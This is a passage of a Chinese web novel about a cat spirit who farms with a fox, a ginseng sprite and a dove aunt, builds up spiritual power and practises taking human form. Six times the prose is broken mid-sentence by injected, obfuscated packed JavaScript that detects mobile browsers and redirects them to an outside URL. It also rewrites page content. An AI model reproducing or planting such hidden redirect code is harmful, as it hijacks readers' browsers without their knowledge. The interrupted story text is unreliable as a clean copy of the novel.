还帮三个小妖整理了一下洞里的干草窝窝,让它变得更蓬松,更保暖一点。 “好啦孩子们,明天见。” “三姑明天见!” 大鸽子挥挥翅膀,掀起一阵风,离开了。 干草窝窝里,三参蛄蛹了一会,把自己的根须扎透草窝,扎进地底的泥土里,然后挤在猫和小狐狸中间,满足的呼出一口气。 “还是你们有毛毛的挨着舒服!”胖萝卜感慨一声,然后马上呼呼大睡。 衔蝉感觉三参压得自己肚子有点瘪,还有点沉,但出于友谊,她没说什么。 小狐狸早就习惯了这么睡,因为山里白天热晚上冷,如果不跟小伙伴挤着睡的话会冻僵的。 舔了舔衔蝉,小狐狸小声说道:“衔蝉,你开智了,真好。” 似乎今天的鱼汤勾起了她的倾诉欲,小狐狸絮絮叨叨的说起了以前的事。 “以前你天天在窝窝里睡觉,动都不动,我天天跟你说话,你也不搭理我。” 所以以前大家才叫她阿呆,因为那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是刚睡着没多久,她就被惊醒了。 有什么东西在掰她的嘴!! 8. 第 8 章 睡梦中的猫感觉有东西在掰她的嘴。 那东西冰冷坚硬,宛如钢爪,轻而易举就将她的嘴筒子掰成了开口垃圾桶的样式。 下一秒,还有同样冰冷的尖状物塞进了她嘴里,有什么凉凉的东西突兀的滑进了猫嘴里。 “喵嗷!!!” 衔蝉大叫一声,炸着毛跳了起来。 什么东西敢偷袭本猫?! 她弓着腰,摆出攻击架势,锋利的牙齿龇开,爪尖的指甲也弹了出来。 但猫的对面,并没有她预想之中的坏蛋。 只有一个还抬着爪子一脸懵的大白鸽子。 大鸽子爪里还捏着半颗剖开的青皮蛋,喙尖也还沾着些许蛋液。 白三姑清了清嗓子:“咳,衔蝉?” 猫炸起来的毛毛瞬间倒伏下去,爪子也收起来了。 衔蝉疑惑:“三姑?你大晚上的来掰我的嘴干嘛?” 白三姑笑叹一声。 “唉,看我这记性。” “睡了一觉,我就差点忘了你已经开智了,还想像以前那样给你喂吃的呢。” 以前猫是个没有反应的小傻子,自己吃饭都不会,白三姑就只能这样掰开她的嘴给她喂食。 “现在你醒啦,可以自己吃东西了。” 大鸽子抬爪把半颗蛋递给猫,另外半颗递给被猫吓得同样炸毛的小狐狸。 “今天吃了你做的鱼汤,我感觉灵力比平时更充足了一点,就多下了个蛋,给你和阿琅吃。” 她知道的,光靠每天半颗蛋,猫和小狐狸都是吃不饱的。 所以阿琅才那么瘦,总是饿得蔫巴巴的。 猫也总是醒不过来,像昏迷一样只能天天躺在窝里一动不动。 可是她也没办法。 小南峰山下就是人类的地盘,只有实在无处可去的小妖,才会住在这么危险的地方。 连猎物都不怎么往这边来。 加上白三姑本身也不是什么大妖,法力低微的她光是化形就花费了多数修为,想要靠捕猎喂养两个食肉小妖,几乎不可能。 可即便这样,她还是磕磕绊绊的把两个小妖拉扯着养活了。 今天她吃了鱼汤,灵力稍微充足了些,便马上想到两个还没吃饱的小妖,连夜多下了个蛋给她们送来。 衔蝉听得心酸,她走过去,用脑勺抵住大鸽子的翅膀蹭了蹭。 “谢谢三姑。” 大鸽子低头给小猫理了理头毛:“别这么见外,是我把你们捡回来的,当然要负责把你们养大。” 这些年的相处下来,她早就把两个小妖当做了自己的孩子。 猫感觉眼眶有点热热的,唉,要是三姑知道自己并不是原来的小傻子猫,肯定会很难过吧...... 她并着爪,默默地低头吃掉了三姑送来的半颗蛋。 旁边的小狐狸早就吃完了自己那半颗,现在已经在咔嚓咔嚓的啃蛋壳了。 衔蝉:“!” 猫眼疾爪快的把蛋壳从小狐狸嘴里抠了出来。 小狐狸懵了:? “阿琅!把蛋壳吐出来!吃蛋壳不好消化,但是它可以拿去做肥料,让作物长得更好!” 小狐狸闻言,马上把已经嚼碎的蛋壳全部yue了出来。 白三姑看着她俩,挨个摸摸头。 “明天再做肥料吧,外面月亮出来了,我带你们去修炼。” 吸收日月精华,就是妖修炼最稳当的途径。 虽然速度慢,但日积月累,也能攒下不少灵力。 所以大妖小妖们都爱晒太阳晒月亮。 猫一听,马上从干草窝窝里跳了出来,和小狐狸一起拖着窝窝往山洞外走。 窝里的胖萝卜睡得像是晕过去了一样,刚刚猫叫得那么大声她都没醒。 白三姑很熟练的把三参从地里薅出来,须须缠在她自己身上,也丢进窝窝里,一起带去晒月亮。 柔和的月色下,四个相依为命的妖靠在一起,静静地感受着月光带来的灵力。 衔蝉有些惊奇。 因为她终于感受到了传说中的灵力! 那股力量目前并不强大,但它像水流一样在她的身体里游走着,让她的脑子更清醒,身体更松快。 这奇妙的感受让猫打开了新世界的大门。 她好奇的伸出爪子,试图把体内的灵力聚拢。 她成功了。 一点萤火似的迷你小光团出现在猫的山竹瓣儿上。 “这就是灵力呀。”衔蝉托着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279334|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点小光点,问三姑:“三姑,灵力能用来干嘛呀?” 白三姑:“灵力的用处可多了。” “它不仅可以让你身体变得更强壮,还能让你修为更进一步,等灵力攒多了,还能化形,学法术。” 法术的用处就不用多说了,能打架御敌,也能炼丹炼器,甚至开荒种地也不在话下。 总之,灵力和法术可以说是万能的,只要灵力足够,法术高深,几乎就能做到任何事。 猫的嘴巴渐渐张大。 好酷炫! 猫要学这个! “不过我们妖族的法术多半都是自己根据自己的天赋琢磨出来的,不像人类那样有师承。” 白三姑微微叹息一声,然后鼓励衔蝉:“你可以多攒点灵力,然后摸索出最适合自己的法术。” 衔蝉兴奋的点点头,把爪上的小光点重新按回肚子里,继续蹲在窝窝里吸收月光带来的灵力。 现在,她已经知道两个攒灵力的途径了。 一个是吃饱了自动恢复,一个是晒太阳晒月亮。 她仔细感受了一下,发现白天吃那顿鱼汤确实也积攒出了一点灵力,就是她刚刚聚在爪尖那一小团。 头顶的月亮也还在源源不断的为她提供更多灵力,虽然数量不多,一丝一丝的,但晒在身上,让猫感觉肚皮那一块有点热乎乎的,很舒服。 就这么晒了一晚上的月亮。 第二天一早,白三姑重新飞起来锻炼翅膀,小狐狸昨晚上晒着晒着就睡着了,这会还迷迷糊糊的没醒。 衔蝉却神清气爽的从干草窝窝里走了出来。 她昨晚上试了一下主动把月光里的灵力往肚皮里吸,居然成功了! 一晚上过去,她居然攒到了蚕豆那么大一团灵力! 听小狐狸说,她一天只能攒到芝麻那么大一小粒呢。 所以衔蝉觉得自己收获还是蛮大的,她现在就想去试试,这一小坨灵力究竟能干嘛。 想起三姑说的“灵力几乎无所不能”的话,衔蝉只思考了三秒钟,然后就迈着六亲不认的步伐走向了昨天刚开辟的小菜地。 让猫试试,这个灵力能不能给作物当肥料用呢? 如果可以的话,那大家离吃饱的日子就更近啦! 9. 第 9 章 来到菜地旁,昨天撒下的萝卜籽依旧静静地待在土里,没什么动静。 衔蝉知道这是正常的,种子发芽至少也得好几天呢。 但是今天猫想试试能不能给种子开个挂! 猫虔诚的在清晨的日光下合爪,一边碎碎念,一边把一小团灵力捻成更细小的碎粒,再像洒水一样撒进土里。 “无所不能的灵力啊,快快让猫的菜地发芽吧!” 细细碎碎的光点没入泥土,在阳光的照射下,衔蝉张大了嘴巴,亲眼看着嫩绿色的小芽破土而出。 成功了!! 灵力真的有用!! 衔蝉亢奋极了,眼睛都快成斗鸡眼了,一眨不眨的盯着离自己最近那一颗小小的萝卜芽。 它很小,只是从土里冒出了一点尖尖,因为供给给它的灵力并不多,只够让它长到这么大。 但衔蝉却一点也不嫌弃它。 猫盯着地里的萝卜芽看了一会,然后一个鲤鱼打挺坐了起来! 现在有太阳!她试试能不能把阳光里的灵力也攒起来给萝卜芽们“施肥”! 这可比普通的肥料高效多了呀! 衔蝉是个很有行动力的猫,她说干就干,马上蹲在菜地旁专心致志的收集起灵力来。 直到日上三竿时,她又攒出一小团灵力。 猫当场就把这些灵力全部分给了萝卜芽,让它们肉眼可见的长高了一点! 整整齐齐的,跟开了加速一样! 衔蝉喜滋滋的张开山竹瓣儿数了起来,要是按照这个速度的话,这些萝卜最多半个月就可以收获啦! 果然,灵力真是万能的! “衔蝉?你怎么一个猫跑来这里呀?” 中午,睡醒的小狐狸带着胖萝卜来找猫了。 “你们看!”猫兴奋的指着地里的萝卜芽,骄傲挺胸:“我用灵力催出来的!厉害吧!” 小狐狸的眼睛和嘴巴一起张得圆溜溜的,胖萝卜又跳起来了。 “哇!衔蝉!你怎么做到的!好厉害!” 好朋友们真心实意的夸赞让猫的虚荣心得到了极大的满足,她马上给她俩传授起经验来。 “先把灵力攒起来,然后丢给种子,然后它们就会按照你的心意速速长大!” “真的吗?我试试!”三参性子急,马上就照着衔蝉说的操作做了一遍。 但是她把积攒了好一会的灵力丢进菜地里,萝卜芽们却没什么变化。 胖萝卜纳闷的用萝卜缨子挠了挠自己:“为什么我不行呀?” “我好像也不行。”旁边的小狐狸也沮丧的收回了爪爪。 她们俩都没成功,反而让衔蝉有点怀疑自己了。 “等等,我再试试啊。”衔蝉当即板板正正的蹲好,认真收集阳光里的一丝丝灵力。 很快她又攒到绿豆那么大一团灵力,往地里一丢,萝卜芽们马上又窜高了半厘米。 小狐狸和胖萝卜都惊呆了! “衔蝉,为什么你一会儿就可以收集到那么多灵力呀!” 小狐狸用爪爪夸张的比划了一下:“比我很多天积攒到的还多!” 胖萝卜也连连附和:“我每天在土里睡觉,也攒不到那么多灵力!” 衔蝉也有点纳闷:“我也不知道呀。” 她想了想,问:“你们有没有主动把灵力往肚子里吸呀?” 猫给大家示范了一下,她深呼吸:“就像这样。” 猫肚皮随着她的动作起伏了一下,细软的绒毛在阳光下显得油光水滑的。 小狐狸和胖萝卜马上学着她的样子照做。 但还是没成功。 她俩能吸收到的灵力,比衔蝉能吸收到的少了很多。 “我知道了!”小狐狸忽然一拍爪,一脸崇拜的看向猫:“是因为衔蝉天赋很好!” “衔蝉,以后你一定可以成为大妖!”小狐狸非常高兴,到时候她就是大妖的朋友啦。 三参恍然大悟:“没错!一定是这样!” 她屁颠屁颠的跑到衔蝉面前,用萝卜缨子卷住她的猫爪摇了摇:“衔蝉!以后你成为大妖了,我就做你的狗腿子!” “三姑说过,那个叫什么来着,狗富贵!你以后一定会富贵的!” 衔蝉也被夸得有点晕乎了:“真的吗?” 她真的很有天赋,以后可以成为无所不能的大妖? 要这样说的话她可不困了啊! “好!如果以后我真的能富贵,我一定带着你们一起富贵!”猫豪气干云:“我们一起干大事!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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衔蝉却摇摇头,金灿灿的猫儿眼亮亮的看着三姑:“我有一个两全其美的好办法!” 10. 第 10 章 “什么办法?” 大家齐刷刷看向衔蝉。 猫挺胸:“我可以多吃点!” 大鸽子/小狐狸/胖萝卜:“?” 大家很迷茫:“多吃点什么?” 衔蝉解释:“就是鱼汤啊!我刚刚发现了,我吃那一碗鱼汤得到的灵力,比我这半个月花出去的还多一丢丢!” 说着,她抬起爪,在爪尖聚出一团圆滚滚的光团。 光团足足有小橘子那么大! 大鸽子/小狐狸/胖萝卜:“!!” 怎么有这么大一团?! 三参看了看衔蝉爪尖托着的光团,然后举起自己的萝卜须须,用力蛄蛹了一下。 然后她也惊喜的跳了起来:“我也可以!!” “看!我也攒到这么多了!” 她举着一团小金桔那么大的光团,兴奋极了。这比她吸收半个月的日月精华收集到的灵力全部加起来还多! 大鸽子吃了一惊,连忙检查自己体内的灵力。 这一检查,她更吃惊,因为她也发现自己的灵力多了好多! “阿琅!快看看你的!” 小狐狸闻言,连忙把自己的灵力也聚出来看看。 “啊!我也有!”她高兴的用脑门顶着一小团灵力光团,尾巴都快摇成大风车了。 虽然她积攒的灵力团子是最小的,但她的灵力团子只比三参的小了一点点!比以前进步很多很多了! 很知足的小狐狸一下子就冲过去舔了一大口衔蝉,给她头毛都舔得飞起来了。 “衔蝉!谢谢你!” 一定是衔蝉的鱼汤才让她收获这么大。 因为以前她很努力的修炼,但半个月下来,也只够搓出十几粒“芝麻粒”,远没有现在这么多! 白三姑和三参也连连点头,大家都用钦佩的眼神看着衔蝉。 猫的脊背不由得越挺越直。 但还是要谦虚一下的。 “咳!其实也不止我的功劳啦,这是大家的劳动成果!” “有三参的种子,还有三姑和阿琅的帮忙,咱们才能收获这么多灵力,所以这是大家一起努力的成果!” 衔蝉这么一说,大家都高兴起来。 顿时四个妖互相蹭做一团,好一会后才继续刚刚的话题。 “既然这样的话,那就一切都按衔蝉的计划来吧!”白三姑看向衔蝉:“衔蝉,接下来你有什么计划吗?” 衔蝉点点头:“有的!” “我想过了,既然吃一顿鱼汤积攒的灵力比修炼半个月积攒的灵力还多,那么以后我们种地也是在修炼啦!” 猫拍爪:“所以接下来,我们要种更多的地!” 大家齐声欢呼:“好!种更多的地!” 说完,立马开工。 开荒大家已经有一点经验了,这次不需要衔蝉指挥,很快一块更大的菜地就被清理出来了。 她们沿着原来的菜地,在它的边缘,又清理出一大圈回字形的新地。 这下小菜地的面积直接翻了倍。 “嗯,很好!接下来咱们就要种更多的作物在菜地里!然后大家一起为菜地攒灵力!” 衔蝉站在大石头上问:“除了三参的人参种子,咱们还能找到别的作物种子吗?” “如果长期都只吃一种东西的话,不仅会腻,还会营养不良的!” 三参举起萝卜缨子:“有的有的!” “我知道哪里还能搞到更多作物种子!” 猫眼睛一亮。 三参挺直身板:“我去找桃子和板板她们换一点她们的种子!就用我们的鱼汤跟她们换!” 白三姑和小狐狸恍然大悟:“对啊!还有她们!” 猫好奇歪头:“桃子和板板?” 白三姑:“嗯,她们也是长在附近的植物小妖。” 桃子大名蒲桃,是一颗成精的小桃树,板板大名菘蓝,小名板蓝根,是成了精的药材小妖。 这两个小妖的种子都可以种出能吃的作物来,板板的叶子据说还能包治百病,就是有点时灵时不灵的。 不过她们俩不像三参一样可以到处乱跑,所以常年都只能待在自己扎根的地方。 三参自告奋勇:“我去找她们!” 小狐狸举爪:“我也去!” 大鸽子咕咕咕的笑了一声:“那你们分头去找桃子和板板换种子吧,我和衔蝉先给菜地攒点灵力。” 三参/阿琅:“好的!我们马上就回来!” 胖萝卜用萝卜缨子顶起半边蚌壳,蚌壳里还剩着一点大家没吃完的鱼汤。 小狐狸叼起另外半个蚌壳,屁颠屁颠的跟三参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要不是现在每天都能萝卜鱼汤管饱,大家早就撑不住了。 11. 第 11 章 听着大家说最近都有点灵力空虚,猫用后腿蹬了蹬耳朵。 为什么她一点感觉都没有呀? 这些天她也是每天都把所有的灵力丢在菜地里,自己一点没剩,可她不仅不难受,反而还感觉攒灵力的速度稍微快了一丢丢? 但既然大家都这么说,那这个问题也必须解决。 衔蝉想到的第一个办法就是让大家每天都留一点灵力,然而这个办法被大家一致否决了。 白三姑:“不行的,现在我们每天放在菜地里的灵力加起来都不如你一个猫放的多,要是再留着,你得多辛苦啊。” 三参也道:“就是!说好了要一起种地的,怎么能让你一个猫辛苦!当然要大家一起啊!” 小狐狸连连点头,就是这么个理! 大家都不采纳这版方案,衔蝉先感动了一会,然后继续冥思苦想第二版方案, 一会儿后,猫忽然拍爪:“我想到了!” 她跑到埋鱼骨头的堆肥坑边蹲好:“以后你们就把八成的灵力丢在肥料坑里吧!” “这样灵力和肥力叠加起来,你们既可以省一点灵力,菜地需要的灵力也不会少!” “而且堆肥坑都埋了这么久了,肯定也发酵好了,不用白不用!” 这番话大家似懂非懂,但明白了猫的大致思路:“好,那我们试试!” 说干就干,白三姑第一个把她今天攒到的灵力丢了一大半进肥料坑,三参和小狐狸紧随其后。 很快,堆肥坑里的发酵味就更浓了。 “来,我们试试!”衔蝉跳进肥料坑,也不嫌脏,捧起一捧发黑的肥土就往菜地里埋。 被猫选中的那颗小桃树苗很快就吸收到了今日份的养分,马上就从十厘米高,窜到了大概十点五厘米高。 “啊!真的比直接丢灵力更有用!” 三参惊呼:“它真的长高了!” 小狐狸一脸崇拜看向衔蝉:“衔蝉!你怎么什么都会啊!好厉害!” 白三姑也用赞叹的眼神看向衔蝉。 猫马上把自己团成大鸡腿,不好意思的用后腿挠了挠脑勺。 哎呀,大家每天都给她吹彩虹屁,多不好意思呀! 但是好开心!嘿嘿! “那以后就这么办吧!我们分别负责菜地和堆肥坑,分工合作!” 这次的方案得到了大家的一致认可:“好!” 又解决了一个小问题,菜地的情况很快就稳定下来。 萝卜和板蓝根都长得快,很快就迎来了第二次丰收,不过桃树苗长得慢,现在才两个巴掌高。 衔蝉给大家打气:“树苗是这样的,长得比别的作物慢,但是只要长成了,收获就会很丰盛!” “好的!”大家握爪的握爪,握叶子的握叶子:“我们会继续努力的!” 日常给自己打完鸡血,小妖们又哼哧哼哧的把第二批作物收割下来,并晒干储存在东坡子洞里。 现在大家每天都能吃饱喝足,灵力也都有一些富余,对修炼的事情自然就上心了。 三参和小狐狸都惊喜的发现自己好像变得比以前更厉害一点了。 三参挺直叶子:“我现在不需要扎根也可以吸收灵力啦!可以随便乱跑!” 小狐狸也挺胸,还转了一圈给大家看她这段时间终于长胖了一点的身材:“我也长大了一点!力气也变大了!” 她俩看向衔蝉:“衔蝉!你呢?” 衔蝉高兴道:“我的力气也更大了!积攒灵力的速度也快了很多!” “好耶!” 欢呼一声,三个小妖又看向大鸽子:“三姑!你肯定也进步了对不对?” 白三姑笑而不语,摇身一变,变成人形。 跟之前的不一样,这一次她变出来的人形,已经没有头顶那一簇白色羽毛了。 ——经过这段时间的修炼,她的人形已经化得十分完美了! “哇!三姑!你现在是不是已经跟山下的人类一模一样啦!”三个小妖稀奇的凑过去惊奇的在她身边嗅嗅闻闻。 白三姑笑着点头:“是啊,这都是跟大家一起修炼出来的成果。” 以前她努力了很久都没法把最后那一簇羽毛变没呢,所以她一直没敢用人形下山。 三个小妖好奇问道:“一定要用跟别人一样的人形才能下山吗?” 白三姑点头:“是的,所以你们在能化形前一定不能下山。” 她的表情严肃了起来:“不,就算化形了,也得小心小心再小心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279337|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “为什么呀?化形了不就是大妖了吗?” “不,光是化形还远远算不上大妖,而且就算是大妖,遇到了降妖师,也未必能逃脱。” 小妖们一惊:“降妖师?!” 这又是什么?!一听就对她们很不友好啊! 白三姑:“对,山下有降妖师,她们是专门降妖除魔的人类,所以遇到降妖师,不要犹豫,赶紧跑!” 小狐狸吓得毛都炸开了,三参的叶子也炸了起来:“那我们不下山了!” 衔蝉却若有所思。 “我以后应该是要下山去的。” 小狐狸和胖萝卜震惊的看着她:“为什么啊衔蝉?!你要走吗?!” 衔蝉摇摇头:“不是,我不走,但是我想下山去买点东西。” 她指着菜地:“我们种出来的作物已经够吃了,多余的部分,我们就可以拿下山去卖,换成钱,再买别的东西回来。” 猫掰着爪瓣儿数:“光吃鱼虾蟹营养不够的,我们可以下山买肉,还可以买鸡鸭鹅猪牛羊回来养。” “这样我和阿琅就有肉吃啦,修炼也会更快的!” “我们还可以买更多不同的种子回来,还有农具,火石,锅碗瓢盆......有了这些,我们才能种更多地,更轻松的种地!” 白三姑惊叹:“衔蝉,你懂得真多。” 她下山了那么多次,从来没想到过这些。 而且衔蝉说的那些东西,她有些知道,有些不知道,这说明衔蝉懂的东西已经比她还多了! 白三姑低头,摸了摸衔蝉的猫猫头:“你以后一定会成为很厉害很厉害的大妖。” 说不定连山下那些降妖师将来都奈何她不得。 衔蝉一听,马上压下耳朵拍爪:“那我以后好好修炼,将来保护大家!” 什么降妖师,都别想伤害她的朋友们! 三参和小狐狸立刻贴到猫身边,一脸感动:“衔蝉!你真好!我们要跟你做一辈子的好朋友!” 白三姑也笑道:“是啊,衔蝉,以后大家都要依靠你了哦。” 猫郑重其事的点头。 白三姑又摸了摸她压下去的耳朵:“衔蝉真有志气,那么,就先朝化形开始努力吧?” 12.第 12 章 猫成功被激起了斗志。 她要努力修炼,化形! 这样她才能更轻松的种地,也能更快变强,保护大家! 三姑说了,化形之后修炼法术都会更快。 所以衔蝉马上给自己定了新的目标:化成人形! 小狐狸和胖萝卜也是这么想的,于是三个小妖排排坐,一起听白三姑的化形小课堂。 “化形这事,说难也难,说不难也不难。” 白三姑给衔蝉传授经验:“想要化成人形,首先就要攒足灵力。” 衔蝉举爪:“要多少灵力才可以化成人形呢?” 白三姑思索了一下:“唔,大概就是,当你每天的灵力都用不完的时候,就可以尝试化形了。” 猫大喜:“那我好像现在就可以!” 现在她每天都吃得饱饱的,灵力恢复得特别快。 如果不是她需要天天把灵力往菜地丢的话,她感觉现在每天的灵力都用不完! “真的吗?”白三姑也有点惊喜:“那要不你也跟我们一起把灵力往肥料坑里放吧,省下来的灵力就用来化形。” 衔蝉点头:“我也是这么想的!” 正好,今天她的灵力还没往菜地丢,现在就可以尝试一下能不能成功化形。 没有经验的猫问白三姑:“三姑,灵力够了,要怎么才能把自己化成人形呢?” 白三姑:“把你的灵力包裹住全身,然后将自己和灵力一起‘雕琢’成人类的模样。” 她给衔蝉示范了一下。 “喏,就像这样。” “这个的难度不在于别的,而是你要足够了解人类的外貌。” “人类跟我们不一样,她们的四肢是分开的,上肢是手,下肢是腿,而且没有尾巴。” 她跟衔蝉细心讲解:“化形的时候就要注意,不要化错了,要按照人类的身体构造来变化,不能多出什么或者少了什么。” 她刚开始学化形的时候就老是出错,不是多了个翅膀就是少了个胳膊,看上去既像人又像鸽子,很别扭。 “为了学会变人,我偷偷去山下,躲在角落里,看了很久的人。” 回忆往昔,白三姑颇为感慨:“那时候我天天都去山下镇子里,看各种各样的人,总结了很多人的特征。” 看了一天的人类后,她再飞回山上,在河边练习变人。 她用河水的倒影当镜子,一遍又一遍的尝试,先从大致的形状变起,再慢慢调整细节。 直到她的四肢五官都和人类看上去差不多后,她的化形才算是成功了。 “总之,想要变成人形,就得先清楚人究竟是什么样的。” 人形的白三姑张开双臂:“衔蝉,来,你看我现在的样子,然后照着我的形状开始变化吧。” 这样她就不用像她当年那样冒着危险下山去看人了。 衔蝉:“好嘞!” 她对自己挺有信心的,因为她其实超了解人类的! 别的小妖可能都没怎么见过人类,但她以前可是天天都跟铲屎官同吃同睡的呢! 而且村里的人她全都认识,所以人类长什么样,她可太了解了! 猫先看了一眼白三姑,然后又回忆了一下铲屎官和村里人的模样,闭上眼睛,开始调动灵力。 把灵力团子裹在身上后,衔蝉就感觉自己的身体好像变成了水,可以任意流动。 她毛绒绒的小猫身体开始发光。 柔和的光晕里,猫的身影逐渐拉长。 毛边一点点消失,转而变成平滑的线条,然后再咕噜一声,冒出五个啾啾。 五个朝着不同方向的啾啾拉长,依次变成脑袋和四肢。 猫兴致勃勃的“雕刻”着自己。 很快,她就初具人形了。 脑袋和四肢都有了。 “怎么样怎么样!我变得像吗?”衔蝉现在看不见自己变化成了什么样,就兴奋的问大家。 然而大家都没吭声。 为什么呢? 因为......猫现在的样子......嗯,很诡异。 只见她脖子上顶着一颗圆溜溜的“球”,“球”的正面还胡乱飘着几个五官,其中一只眼睛都快长到额头上去了。 鼻子嘴巴也有点歪,头顶还是秃的。 这就算了,她的躯干也不是很正经的样子。 本该连接四肢的躯干像一截直上直下的竹筒,四肢也是直溜溜的,活像个火柴人。 “咳!似乎,不是很像。” 大家委婉的语气,让猫的兴奋之情卡顿了一下。 “啊?不像吗?我去河边看看!” 衔蝉保持着“人形”站起身,然后刚拉开两条“腿”,就摔了个四脚朝天。 ——猫变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实衔蝉进步已经很快了。” 白三姑一脸欣慰:“这才八十八次,她就把四肢都变对了。” 虽然头上还是个猫猫头,但猫猫头以下都变对了。 衔蝉:“......” 猫心力交瘁。 猫开始摆烂。 “算啦。”她动了动四肢:“暂时先这样吧,反正猫头也不影响活动,我先练练胳膊和腿。” 如果能先把胳膊和腿练好,她就算顶着个猫猫头也照样可以种地的。 反正山里又没别人! “但是没有别人也得穿衣服。”白三姑补充道。 不然万一习惯了光着跑,以后可怎么下山去? 猫一拍脑勺,才想起自己光变身体了,忘了变衣服。 衔蝉认真观察了一下白三姑身上的衣服,然后有模有样的给自己也变出了一套同款交领短打。 只是颜色不一样。 白三姑惊讶:“咦?你这衣服变出来怎么是黑白花的?” 她拎着猫的黑白条纹衣裳,纳闷:“一般妖化形后的衣服都是毛毛变的,所以通常本体颜色是什么样,衣裳也就是什么样。” 比如白三姑,她本体是白鸽,于是化形后的衣裳就是白衣,又比如衔蝉,按常理来讲,她化形后就该是穿白底橘纹衣裳的。 这个黑白条纹的衣裳又是怎么变出来的? 白三姑想不通,但衔蝉却低头一看就明白了。 是斑马睡衣! 铲屎官最爱穿的那套斑马睡衣! 以前猫天天看着她穿那套睡衣在家里跑,估计是印象太深刻了,现在就下意识的把自己的衣裳也变成斑马条纹的了。 但这话又不好解释,猫只能打个哈哈把这事糊弄过去。 好在小妖们都单纯,也不细究这些。 就这样,衔蝉顶着一副猫头人身的样子,穿着套黑白条纹衣裳,每天在山里跑来跑去。 大家看久了,居然感觉还挺顺眼的。 而衔蝉进步也确实很快,没多久她就能像真正的人类一样,用双手做到很多事情了。 比如除草,打水,堆肥,收割,晾晒,杀鱼,生火,煮汤...... 在她和大家的努力下,日子一天天过去,小菜地也终于迎来了第二次丰收。 桃子树长得慢,现在只有一人高,估计还要大半年才能开花结果,但萝卜和板蓝根都已经可以采收了。 上百颗白萝卜和板蓝根整整齐齐的码在一起,看着就喜庆。 “哇!这次的收获好多!比上次的还多!”小狐狸开心坏了,现在虽然不用挨饿了,但她还是很珍惜食物。 三参也很高兴,她叉着几根萝卜须须:“我们可真厉害呀!” 衔蝉大力点头,也和三参一样叉腰:“是的!我们真厉害!” 又互相夸赞了一番后,猫带着大家,把收获的作物全部处理成干货。 萝卜缨子和萝卜分开晾晒,一个直接挂在树上晾成菜干,一个用大鸽子锋利的羽刃切割成条,晒成萝卜干。 板蓝根则整颗拔起,上半截叶子和茎秆都一起跟萝卜缨子晒在一处。 埋在泥土里的根则拿到河边洗干净,再晒成可以治病的板蓝根。 “这下我们既有食物又有药材啦!”看着晒干后依然有很多的菜干,衔蝉非常有成就感。 “这么多干货,我们修个仓库,把它们都储存起来吧!” 大家齐声响应:“好的!” 说干就干,大家马上在衔蝉的指挥下开始砍竹子。 因为猫说了,要用竹子修一个通风透气但又不漏水的仓库,专门用来存放收下来的作物。 有手的白三姑和衔蝉是主力,她俩负责一个负责用羽刃砍竹子,一个负责把竹子多余的枝叶清理掉。 三参和小狐狸就帮忙打打下手,干点跑腿扯藤蔓之类的杂活。 很快大家就齐心协力弄出了一大堆直溜溜的竹杆出来。 “仓库要怎么修呀?” 大家扭头看向衔蝉。 不知不觉中,衔蝉已经成了大家的主心骨,有什么事大家都会先问问她。 依旧顶着猫猫头的衔蝉一拍脑门:“这个不难,就是会有点累!” 她跟着铲屎官看过很多荒野求生栏目,那些节目中都会有很多用石头木头就地建造庇护所的桥段,她看得多了也就知道该怎么做了。 “咱们先找一块平地,把地基打出来,然后再用竹杆搭出框架!” “框架搭好了,再依次修建墙壁,屋顶,窗户,门......” 一说起这些,大家的眼睛里就开始冒蚊香圈。 衔蝉说出的很多词语大家都没听过,整个妖都懵懵的。 但是她们不懂归不懂, 